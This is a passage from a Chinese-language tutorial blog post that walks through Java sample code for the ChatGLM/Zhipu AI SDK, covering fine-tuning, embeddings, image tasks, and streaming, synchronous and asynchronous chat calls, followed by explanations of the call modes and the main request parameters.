new QueryFineTuningJobRequest(); </div> <div class="ql-code-block"> queryFineTuningJobRequest.setJobId("ftjob-20240119114544390-zkgjb"); </div> <div class="ql-code-block"> // queryFineTuningJobRequest.setLimit(1); </div> <div class="ql-code-block"> // queryFineTuningJobRequest.setAfter("1"); </div> <div class="ql-code-block"> QueryFineTuningJobApiResponse queryFineTuningJobApiResponse = client.retrieveFineTuningJobs(queryFineTuningJobRequest); </div> <div class="ql-code-block"> System.out.println("model output:" + JSON.toJSONString(queryFineTuningJobApiResponse)); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> /** </div> <div class="ql-code-block"> * 创建微调任务 </div> <div class="ql-code-block"> */ </div> <div class="ql-code-block"> private static void testCreateFineTuningJob() { </div> <div class="ql-code-block"> FineTuningJobRequest request = new FineTuningJobRequest(); </div> <div class="ql-code-block"> String requestId = String.format(requestIdTemplate, System.currentTimeMillis()); </div> <div class="ql-code-block"> request.setRequestId(requestId); </div> <div class="ql-code-block"> request.setModel("chatglm3-6b"); </div> <div class="ql-code-block"> request.setTraining_file("file-20240118082608327-kp8qr"); </div> <div class="ql-code-block"> CreateFineTuningJobApiResponse createFineTuningJobApiResponse = client.createFineTuningJob(request); </div> <div class="ql-code-block"> System.out.println("model output:" + JSON.toJSONString(createFineTuningJobApiResponse)); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> /** </div> <div class="ql-code-block"> * 微调文件上传列表查询 </div> <div class="ql-code-block"> */ </div> <div class="ql-code-block"> private static void testQueryUploadFileList() { </div> <div class="ql-code-block"> QueryFilesRequest queryFilesRequest = new QueryFilesRequest(); </div> <div class="ql-code-block"> QueryFileApiResponse queryFileApiResponse = client.queryFilesApi(queryFilesRequest); </div> <div class="ql-code-block"> System.out.println("model output:" + JSON.toJSONString(queryFileApiResponse)); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> /** </div> <div class="ql-code-block"> * 微调上传数据集 </div> <div class="ql-code-block"> */ </div> <div class="ql-code-block"> private static void testUploadFile() { </div> <div class="ql-code-block"> String filePath = "/Users/wujianguo/Downloads/transaction-data.jsonl"; </div> <div class="ql-code-block"> String purpose = "fine-tune"; </div> <div class="ql-code-block"> FileApiResponse fileApiResponse = client.invokeUploadFileApi(purpose, filePath); </div> <div class="ql-code-block"> System.out.println("model output:" + JSON.toJSONString(fileApiResponse)); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> private static void testEmbeddings() { </div> <div class="ql-code-block"> EmbeddingRequest embeddingRequest = new EmbeddingRequest(); </div> <div class="ql-code-block"> embeddingRequest.setInput("hello world"); </div> <div class="ql-code-block"> embeddingRequest.setModel(Constants.ModelEmbedding2); </div> <div class="ql-code-block"> EmbeddingApiResponse apiResponse = client.invokeEmbeddingsApi(embeddingRequest); </div> <div class="ql-code-block"> System.out.println("model output:" + JSON.toJSONString(apiResponse)); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> /** </div> <div class="ql-code-block"> * 图生文 </div> <div class="ql-code-block"> */ </div> <div class="ql-code-block"> private static void testImageToWord() { </div> <div class="ql-code-block"> List&lt;ChatMessage&gt; messages = new ArrayList&lt;&gt;(); </div> <div class="ql-code-block"> List&lt;Map&lt;String, Object&gt;&gt; contentList = new ArrayList&lt;&gt;(); </div> <div class="ql-code-block"> Map&lt;String, Object&gt; textMap = new HashMap&lt;&gt;(); </div> <div class="ql-code-block"> textMap.put("type", "text"); </div> <div class="ql-code-block"> textMap.put("text", "图里有什么"); </div> <div class="ql-code-block"> Map&lt;String, Object&gt; typeMap = new HashMap&lt;&gt;(); </div> <div class="ql-code-block"> typeMap.put("type", "image_url"); </div> <div class="ql-code-block"> Map&lt;String, Object&gt; urlMap = new HashMap&lt;&gt;(); </div> <div class="ql-code-block"> urlMap.put("url", "https://cdn.bigmodel.cn/enterpriseAc/3f328152-e15c-420c-803d-6684a9f551df.jpeg?attname=24.jpeg"); </div> <div class="ql-code-block"> typeMap.put("image_url", urlMap); </div> <div class="ql-code-block"> contentList.add(textMap); </div> <div class="ql-code-block"> contentList.add(typeMap); </div> <div class="ql-code-block"> ChatMessage chatMessage = new ChatMessage(ChatMessageRole.USER.value(), contentList); </div> <div class="ql-code-block"> messages.add(chatMessage); </div> <div class="ql-code-block"> String requestId = String.format(requestIdTemplate, System.currentTimeMillis()); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> ChatCompletionRequest chatCompletionRequest = ChatCompletionRequest.builder() </div> <div class="ql-code-block"> .model(Constants.ModelChatGLM4V) </div> <div class="ql-code-block"> .stream(Boolean.FALSE) </div> <div class="ql-code-block"> .invokeMethod(Constants.invokeMethod) </div> <div class="ql-code-block"> .messages(messages) </div> <div class="ql-code-block"> .requestId(requestId) </div> <div class="ql-code-block"> .build(); </div> <div class="ql-code-block"> ModelApiResponse modelApiResponse = client.invokeModelApi(chatCompletionRequest); </div> <div class="ql-code-block"> System.out.println("model output:" + JSON.toJSONString(modelApiResponse)); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> private static void testCreateImage() { </div> <div class="ql-code-block"> CreateImageRequest createImageRequest = new CreateImageRequest(); </div> <div class="ql-code-block"> createImageRequest.setModel(Constants.ModelCogView); </div> <div class="ql-code-block"> // createImageRequest.setPrompt("画一个温顺可爱的小狗"); </div> <div class="ql-code-block"> ImageApiResponse imageApiResponse = client.createImage(createImageRequest); </div> <div class="ql-code-block"> System.out.println("imageApiResponse:" + JSON.toJSONString(imageApiResponse)); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> /** </div> <div class="ql-code-block"> * sse调用 </div> <div class="ql-code-block"> */ </div> <div class="ql-code-block"> private static void testSseInvoke() { </div> <div class="ql-code-block"> List&lt;ChatMessage&gt; messages = new ArrayList&lt;&gt;(); </div> <div class="ql-code-block"> ChatMessage chatMessage = new ChatMessage(ChatMessageRole.USER.value(), "ChatGLM和你哪个更强大"); </div> <div class="ql-code-block"> // ChatMessage chatMessage = new ChatMessage(ChatMessageRole.USER.value(), "你能帮我查询2024年1月1日从北京南站到上海的火车票吗?"); </div> <div class="ql-code-block"> messages.add(chatMessage); </div> <div class="ql-code-block"> String requestId = String.format(requestIdTemplate, System.currentTimeMillis()); </div> <div class="ql-code-block"> // 函数调用参数构建部分 </div> <div class="ql-code-block"> List&lt;ChatTool&gt; chatToolList = new ArrayList&lt;&gt;(); </div> <div class="ql-code-block"> ChatTool chatTool = new ChatTool(); </div> <div class="ql-code-block"> chatTool.setType(ChatToolType.FUNCTION.value()); </div> <div class="ql-code-block"> ChatFunctionParameters chatFunctionParameters = new ChatFunctionParameters(); </div> <div class="ql-code-block"> chatFunctionParameters.setType("object"); </div> <div class="ql-code-block"> Map&lt;String, Object&gt; properties = new HashMap&lt;&gt;(); </div> <div class="ql-code-block"> properties.put("departure", new HashMap&lt;String, Object&gt;() {{ </div> <div class="ql-code-block"> put("type", "string"); </div> <div class="ql-code-block"> put("description", "出发城市或车站"); </div> <div class="ql-code-block"> }}); </div> <div class="ql-code-block"> properties.put("destination", new HashMap&lt;String, Object&gt;() {{ </div> <div class="ql-code-block"> put("type", "string"); </div> <div class="ql-code-block"> put("description", "目的地城市或车站"); </div> <div class="ql-code-block"> }}); </div> <div class="ql-code-block"> properties.put("date", new HashMap&lt;String, Object&gt;() {{ </div> <div class="ql-code-block"> put("type", "string"); </div> <div class="ql-code-block"> put("description", "要查询的车次日期"); </div> <div class="ql-code-block"> }}); </div> <div class="ql-code-block"> List&lt;String&gt; required = new ArrayList&lt;&gt;(); </div> <div class="ql-code-block"> required.add("departure"); </div> <div class="ql-code-block"> required.add("destination"); </div> <div class="ql-code-block"> required.add("date"); </div> <div class="ql-code-block"> chatFunctionParameters.setProperties(properties); </div> <div class="ql-code-block"> ChatFunction chatFunction = ChatFunction.builder() </div> <div class="ql-code-block"> .name("query_train_info") </div> <div class="ql-code-block"> .description("根据用户提供的信息,查询对应的车次") </div> <div class="ql-code-block"> .parameters(chatFunctionParameters) </div> <div class="ql-code-block"> .required(required) </div> <div class="ql-code-block"> .build(); </div> <div class="ql-code-block"> chatTool.setFunction(chatFunction); </div> <div class="ql-code-block"> chatToolList.add(chatTool); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> ChatCompletionRequest chatCompletionRequest = ChatCompletionRequest.builder() </div> <div class="ql-code-block"> .model(Constants.ModelChatGLM4) </div> <div class="ql-code-block"> .stream(Boolean.TRUE) </div> <div class="ql-code-block"> .messages(messages) </div> <div class="ql-code-block"> .requestId(requestId) </div> <div class="ql-code-block"> .tools(chatToolList) </div> <div class="ql-code-block"> .toolChoice("auto") </div> <div class="ql-code-block"> .build(); </div> <div class="ql-code-block"> ModelApiResponse sseModelApiResp = client.invokeModelApi(chatCompletionRequest); </div> <div class="ql-code-block"> if (sseModelApiResp.isSuccess()) { </div> <div class="ql-code-block"> AtomicBoolean isFirst = new AtomicBoolean(true); </div> <div class="ql-code-block"> ChatMessageAccumulator chatMessageAccumulator = mapStreamToAccumulator(sseModelApiResp.getFlowable()) </div> <div class="ql-code-block"> .doOnNext(accumulator -&gt; { </div> <div class="ql-code-block"> { </div> <div class="ql-code-block"> if (isFirst.getAndSet(false)) { </div> <div class="ql-code-block"> System.out.print("Response: "); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"> if (accumulator.getDelta() != null &amp;&amp; accumulator.getDelta().getTool_calls() != null) { </div> <div class="ql-code-block"> String jsonString = mapper.writeValueAsString(accumulator.getDelta().getTool_calls()); </div> <div class="ql-code-block"> System.out.println("tool_calls: " + jsonString); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"> if (accumulator.getDelta() != null &amp;&amp; accumulator.getDelta().getContent() != null) { </div> <div class="ql-code-block"> System.out.print(accumulator.getDelta().getContent()); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"> }) </div> <div class="ql-code-block"> .doOnComplete(System.out::println) </div> <div class="ql-code-block"> .lastElement() </div> <div class="ql-code-block"> .blockingGet(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> Choice choice = new Choice(chatMessageAccumulator.getChoice().getFinishReason(), 0L, chatMessageAccumulator.getDelta()); </div> <div class="ql-code-block"> List&lt;Choice&gt; choices = new ArrayList&lt;&gt;(); </div> <div class="ql-code-block"> choices.add(choice); </div> <div class="ql-code-block"> ModelData data = new ModelData(); </div> <div class="ql-code-block"> data.setChoices(choices); </div> <div class="ql-code-block"> data.setUsage(chatMessageAccumulator.getUsage()); </div> <div class="ql-code-block"> data.setId(chatMessageAccumulator.getId()); </div> <div class="ql-code-block"> data.setCreated(chatMessageAccumulator.getCreated()); </div> <div class="ql-code-block"> data.setRequestId(chatCompletionRequest.getRequestId()); </div> <div class="ql-code-block"> sseModelApiResp.setFlowable(null); </div> <div class="ql-code-block"> sseModelApiResp.setData(data); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"> System.out.println("model output:" + JSON.toJSONString(sseModelApiResp)); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> public static Flowable&lt;ChatMessageAccumulator&gt; mapStreamToAccumulator(Flowable&lt;ModelData&gt; flowable) { </div> <div class="ql-code-block"> return flowable.map(chunk -&gt; { </div> <div class="ql-code-block"> return new ChatMessageAccumulator(chunk.getChoices().get(0).getDelta(), null, chunk.getChoices().get(0), chunk.getUsage(), chunk.getCreated(), chunk.getId()); </div> <div class="ql-code-block"> }); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> /** </div> <div class="ql-code-block"> * 同步调用 </div> <div class="ql-code-block"> */ </div> <div class="ql-code-block"> private static void testInvoke() { </div> <div class="ql-code-block"> List&lt;ChatMessage&gt; messages = new ArrayList&lt;&gt;(); </div> <div class="ql-code-block"> ChatMessage chatMessage = new ChatMessage(ChatMessageRole.USER.value(), "ChatGLM和你哪个更强大"); </div> <div class="ql-code-block"> messages.add(chatMessage); </div> <div class="ql-code-block"> String requestId = String.format(requestIdTemplate, System.currentTimeMillis()); </div> <div class="ql-code-block"> // 函数调用参数构建部分 </div> <div class="ql-code-block"> List&lt;ChatTool&gt; chatToolList = new ArrayList&lt;&gt;(); </div> <div class="ql-code-block"> ChatTool chatTool = new ChatTool(); </div> <div class="ql-code-block"> chatTool.setType(ChatToolType.FUNCTION.value()); </div> <div class="ql-code-block"> ChatFunctionParameters chatFunctionParameters = new ChatFunctionParameters(); </div> <div class="ql-code-block"> chatFunctionParameters.setType("object"); </div> <div class="ql-code-block"> Map&lt;String, Object&gt; properties = new HashMap&lt;&gt;(); </div> <div class="ql-code-block"> properties.put("location", new HashMap&lt;String, Object&gt;() {{ </div> <div class="ql-code-block"> put("type", "string"); </div> <div class="ql-code-block"> put("description", "城市,如:北京"); </div> <div class="ql-code-block"> }}); </div> <div class="ql-code-block"> properties.put("unit", new HashMap&lt;String, Object&gt;() {{ </div> <div class="ql-code-block"> put("type", "string"); </div> <div class="ql-code-block"> put("enum", new ArrayList&lt;String&gt;() {{ </div> <div class="ql-code-block"> add("celsius"); </div> <div class="ql-code-block"> add("fahrenheit"); </div> <div class="ql-code-block"> }}); </div> <div class="ql-code-block"> }}); </div> <div class="ql-code-block"> chatFunctionParameters.setProperties(properties); </div> <div class="ql-code-block"> ChatFunction chatFunction = ChatFunction.builder() </div> <div class="ql-code-block"> .name("get_weather") </div> <div class="ql-code-block"> .description("Get the current weather of a location") </div> <div class="ql-code-block"> .parameters(chatFunctionParameters) </div> <div class="ql-code-block"> .build(); </div> <div class="ql-code-block"> chatTool.setFunction(chatFunction); </div> <div class="ql-code-block"> chatToolList.add(chatTool); </div> <div class="ql-code-block"> ChatCompletionRequest chatCompletionRequest = ChatCompletionRequest.builder() </div> <div class="ql-code-block"> .model(Constants.ModelChatGLM4) </div> <div class="ql-code-block"> .stream(Boolean.FALSE) </div> <div class="ql-code-block"> .invokeMethod(Constants.invokeMethod) </div> <div class="ql-code-block"> .messages(messages) </div> <div class="ql-code-block"> .requestId(requestId) </div> <div class="ql-code-block"> .tools(chatToolList) </div> <div class="ql-code-block"> .toolChoice("auto") </div> <div class="ql-code-block"> .build(); </div> <div class="ql-code-block"> ModelApiResponse invokeModelApiResp = client.invokeModelApi(chatCompletionRequest); </div> <div class="ql-code-block"> try { </div> <div class="ql-code-block"> System.out.println("model output:" + mapper.writeValueAsString(invokeModelApiResp)); </div> <div class="ql-code-block"> } catch (JsonProcessingException e) { </div> <div class="ql-code-block"> e.printStackTrace(); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> /** </div> <div class="ql-code-block"> * 异步调用 </div> <div class="ql-code-block"> */ </div> <div class="ql-code-block"> private static String testAsyncInvoke() { </div> <div class="ql-code-block"> List&lt;ChatMessage&gt; messages = new ArrayList&lt;&gt;(); </div> <div class="ql-code-block"> ChatMessage chatMessage = new ChatMessage(ChatMessageRole.USER.value(), "ChatLM和你哪个更强大"); </div> <div class="ql-code-block"> messages.add(chatMessage); </div> <div class="ql-code-block"> String requestId = String.format(requestIdTemplate, System.currentTimeMillis()); </div> <div class="ql-code-block"> // 函数调用参数构建部分 </div> <div class="ql-code-block"> List&lt;ChatTool&gt; chatToolList = new ArrayList&lt;&gt;(); </div> <div class="ql-code-block"> ChatTool chatTool = new ChatTool(); </div> <div class="ql-code-block"> chatTool.setType(ChatToolType.FUNCTION.value()); </div> <div class="ql-code-block"> ChatFunctionParameters chatFunctionParameters = new ChatFunctionParameters(); </div> <div class="ql-code-block"> chatFunctionParameters.setType("object"); </div> <div class="ql-code-block"> Map&lt;String, Object&gt; properties = new HashMap&lt;&gt;(); </div> <div class="ql-code-block"> properties.put("location", new HashMap&lt;String, Object&gt;() {{ </div> <div class="ql-code-block"> put("type", "string"); </div> <div class="ql-code-block"> put("description", "城市,如:北京"); </div> <div class="ql-code-block"> }}); </div> <div class="ql-code-block"> properties.put("unit", new HashMap&lt;String, Object&gt;() {{ </div> <div class="ql-code-block"> put("type", "string"); </div> <div class="ql-code-block"> put("enum", new ArrayList&lt;String&gt;() {{ </div> <div class="ql-code-block"> add("celsius"); </div> <div class="ql-code-block"> add("fahrenheit"); </div> <div class="ql-code-block"> }}); </div> <div class="ql-code-block"> }}); </div> <div class="ql-code-block"> chatFunctionParameters.setProperties(properties); </div> <div class="ql-code-block"> ChatFunction chatFunction = ChatFunction.builder() </div> <div class="ql-code-block"> .name("get_weather") </div> <div class="ql-code-block"> .description("Get the current weather of a location") </div> <div class="ql-code-block"> .parameters(chatFunctionParameters) </div> <div class="ql-code-block"> .build(); </div> <div class="ql-code-block"> chatTool.setFunction(chatFunction); </div> <div class="ql-code-block"> chatToolList.add(chatTool); </div> <div class="ql-code-block"> ChatCompletionRequest chatCompletionRequest = ChatCompletionRequest.builder() </div> <div class="ql-code-block"> .model(Constants.ModelChatGLM4) </div> <div class="ql-code-block"> .stream(Boolean.FALSE) </div> <div class="ql-code-block"> .invokeMethod(Constants.invokeMethodAsync) </div> <div class="ql-code-block"> .messages(messages) </div> <div class="ql-code-block"> .requestId(requestId) </div> <div class="ql-code-block"> .tools(chatToolList) </div> <div class="ql-code-block"> .toolChoice("auto") </div> <div class="ql-code-block"> .build(); </div> <div class="ql-code-block"> ModelApiResponse invokeModelApiResp = client.invokeModelApi(chatCompletionRequest); </div> <div class="ql-code-block"> System.out.println("model output:" + JSON.toJSONString(invokeModelApiResp)); </div> <div class="ql-code-block"> return invokeModelApiResp.getData().getTaskId(); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> /** </div> <div class="ql-code-block"> * 查询异步结果 </div> <div class="ql-code-block"> * </div> <div class="ql-code-block"> * @param taskId </div> <div class="ql-code-block"> */ </div> <div class="ql-code-block"> private static void testQueryResult(String taskId) { </div> <div class="ql-code-block"> QueryModelResultRequest request = new QueryModelResultRequest(); </div> <div class="ql-code-block"> request.setTaskId(taskId); </div> <div class="ql-code-block"> QueryModelResultResponse queryResultResp = client.queryModelResult(request); </div> <div class="ql-code-block"> try { </div> <div class="ql-code-block"> System.out.println("model output:" + mapper.writeValueAsString(queryResultResp)); </div> <div class="ql-code-block"> } catch (JsonProcessingException e) { </div> <div class="ql-code-block"> e.printStackTrace(); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"> } </div> </div> <p><br></p> <p><br></p> <h5>(1) 填充自己的信息</h5> <p><br></p> <p></p> <p><br></p> <p><br></p> <p><br></p> <h5>(2) 启动示例</h5> <p><br></p> <p></p> <p><br></p> <p><br></p> <p><br></p> <p><br></p> <p>这里解释一下四个的区别</p> <ol> <li data-list="number"><span class="ql-ui"></span>testSseInvoke 使用的是逐渐输出,AI回答的结果是一段一段的展示。</li> <li data-list="number"><span class="ql-ui"></span>testInvoke 使用的是同步执行,当AI全部的回答都输出后才会展示出来。</li> <li data-list="number"><span class="ql-ui"></span>testAsyncInvoke 与testQueryResult 搭配使用,先通过testAsyncInvoke 让AI去执行,直接返回一个成功或者失败,之后通过获得的taskId,再用testQueryResult去查询获得结果即可。这个过程实践过Bi项目的小伙伴应该深有体会。</li> </ol> <p><br></p> <p><br></p> <h5>(3) 结果展示</h5> <p><br></p> <p></p> <p><br></p> <p></p> <p><br></p> <p><br></p> <p><span style="color: rgb(216, 57, 49);">这里补充下,如果你要修改问题,只需要修改content参数中的值即可。相当于问AI问题。</span></p> <p><br></p> <p><br></p> <p><br></p> <h4>参数阅读</h4> <p></p> <p><br></p> <p>其实最关键的就是前三个</p> <p><strong>A. model </strong></p> <p>你要选择哪个模型, 例如选择GLM-4 还是GLM-3-Turbo</p> <p></p> <p><br></p> <p><strong>B. messages</strong></p> <p>这里需要考虑两个值,一个是role,一般为user即可。role的值官方已经给我们枚举了,只需要调用即可。</p> <p>剩下的则是我们需要自己填入的content</p> <p></p> <p><br></p> <p><br></p> <p><strong>C. request_id</strong></p> <p>这个是区分我们每次上传的任务,保证唯一性,可以自己上传一个类似于雪花算法的ID,用户端不传的话平台也会自动生成。</p> <p><br></p> <p>其他参数目前影子测试完前五个方法后发现使用官方默认的即可。只需要你调整好代码的位置以及content的值即可。</p> <p></p> <p><br></p> <p>剩下的参数,如果你需要使用微调或者向量知识库等高阶玩法,则根据官方文档调整即可。很多地方已经自带了枚举值,只需要直接选择填充。</p> <p><br></p> <p>最后,大家可以用这一个月的免费额度,打造一个属于自己的AI小工具使用,更多玩法,由大家一起探索。</p> <p><br></p> <p>我是影子,一名以Java为主,其余时间探索AI+编程的程序猿。</p> <p><br></p> <p><br></p> <p><br></p> <p><br></p> <p><br></p> <p><br></p> <p><br></p> <p><br></p> <p><br></p> </div> </body> </html>

下载 APP